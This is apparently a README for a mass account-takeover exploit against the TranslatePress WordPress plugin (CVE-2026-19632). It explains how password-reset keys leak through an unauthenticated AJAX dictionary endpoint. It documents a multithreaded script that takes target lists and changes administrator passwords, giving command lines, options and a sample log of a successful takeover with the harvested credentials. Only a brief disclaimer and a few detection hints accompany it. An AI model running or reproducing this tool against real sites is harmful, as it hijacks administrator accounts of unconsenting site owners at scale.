
Unauthenticated account takeover PoC for TranslatePress Multilingual <= 3.3.1 (WordPress)
Mass account-takeover tool for CVE-2026-19632, an unauthenticated account takeover in the TranslatePress – Multilingual WordPress plugin (≤ 3.3.1) caused by password reset link disclosure. One command per target list — the full chain runs automatically, and every successful takeover is written to the output file the moment it happens.
Disclaimer — authorized use only. This tool changes real account passwords and triggers real password-reset emails. Use it exclusively against systems you own or have explicit written permission to test. The author is not responsible for any misuse.
| CVE | CVE-2026-19632 |
| Product | TranslatePress – Multilingual (WordPress plugin, slug translatepress-multilingual), by Cozmoslabs |
| Affected | All versions ≤ 3.3.1 (400,000+ active installations) |
| Patched | 3.3.2 (fix: current_user_can check on the public dictionary AJAX handler) |
| CVSS 3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA: Wordfence) |
| CWE | CWE-200 (Sensitive Information Exposure) + CWE-640 (Weak Password Recovery Mechanism) |
| Impact | Unauthenticated admin account takeover |
trp_data including the get_translations nonce. Nonces for logged-out
visitors are public by design; the plugin relies on them for security.wp_mail and translates outgoing emails in the recipient's locale.
When an anonymous attacker triggers wp-login.php?action=lostpassword
for an admin whose profile locale is a published secondary language,
the entire reset email — including the plaintext wp-login.php?action=rp
URL with the valid reset key — is inserted into
wp_trp_dictionary_<default>_<locale> synchronously inside the
attacker's request. SMTP does not even need to work.trp_get_translations_regular is registered
as wp_ajax_nopriv and, before 3.3.2, only verified the public nonce.
Anyone can enumerate the dictionary by string_ids and extract the key.Full technical write-up: CVE-2026-19632-REPORT.md
cve-2026-19632.pyA single self-contained script that executes the complete chain for every target in a list:
readme.txt fallback)trp_data + language-switcher probing)url|username|password to the output file
(flush, thread-safe, no waiting for the run to finish)Robustness built in:
--new-password).pip install -r requirements.txt
# full execution against a list of targets, 20 threads
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# fixed password for every target
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# through a proxy
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| Option | Description |
|---|---|
-l, --list | File with one target URL per line (# comments allowed) |
-o, --output | Results file, format url|username|password (default vuln.txt) |
-t, --threads | Concurrent workers (default 10) |
--new-password | Fixed password for all targets (default: random 14-char per target) |
--timeout | Per-request timeout in seconds (default 15) |
--proxy | HTTP proxy, e.g. http://127.0.0.1:8080 |
--no-color | Disable colored output |
Terminal log against a lab instance (WordPress 7.0.4 + TranslatePress 3.3.1,
ar default → en_US secondary) — values sanitized:
[00:09:06] [INFO] CVE-2026-19632 takeover tool - 3 target(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (no TranslatePress)
[00:09:07] [INFO] http://TARGET TP found - langs: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] username candidates: ['admin', ...]
[00:09:09] [WARN] attempt 1/3 failed (stale key)
[00:09:09] [WARN] attempt 2/3 failed (stale key)
[00:09:09] [WARN] attempt 3/3 failed (stale key)
[00:09:09] [INFO] all keys stale - fresh reset trigger...
[00:09:15] [TAKEOVER] http://TARGET SUCCESS - user='admin' password='Pwn3d!2026'
[00:09:15] [INFO] done. summary: ERROR=1 | SKIP=1 | TAKEOVER=1
vuln.txt (written live, at the moment of success):
http://TARGET|admin|Pwn3d!2026
Treat
vuln.txtas a sensitive artifact — it contains live credentials and/or valid reset keys. Add it to.gitignore.
Not required: a working mail server (the URL is stored inside the
wp_mail filter, before the send attempt).
admin-ajax.php logs for sequential string_ids enumeration
with a public security nonce.| Date | Event |
|---|---|
| 2026-08-12 | CVE-2026-19632 reserved |
| 2026-08-13 | TranslatePress 3.3.2 released with the fix |
| 2026-08-25/26 | Wordfence publishes the advisory; 8,618 exploitation attempts blocked within 24h |
| 2026-08-28 | ThaiCERT advisory |
momopon1415) and the Wordfence team, credited in the 3.3.2 changelog.MIT © 2026 ghostpel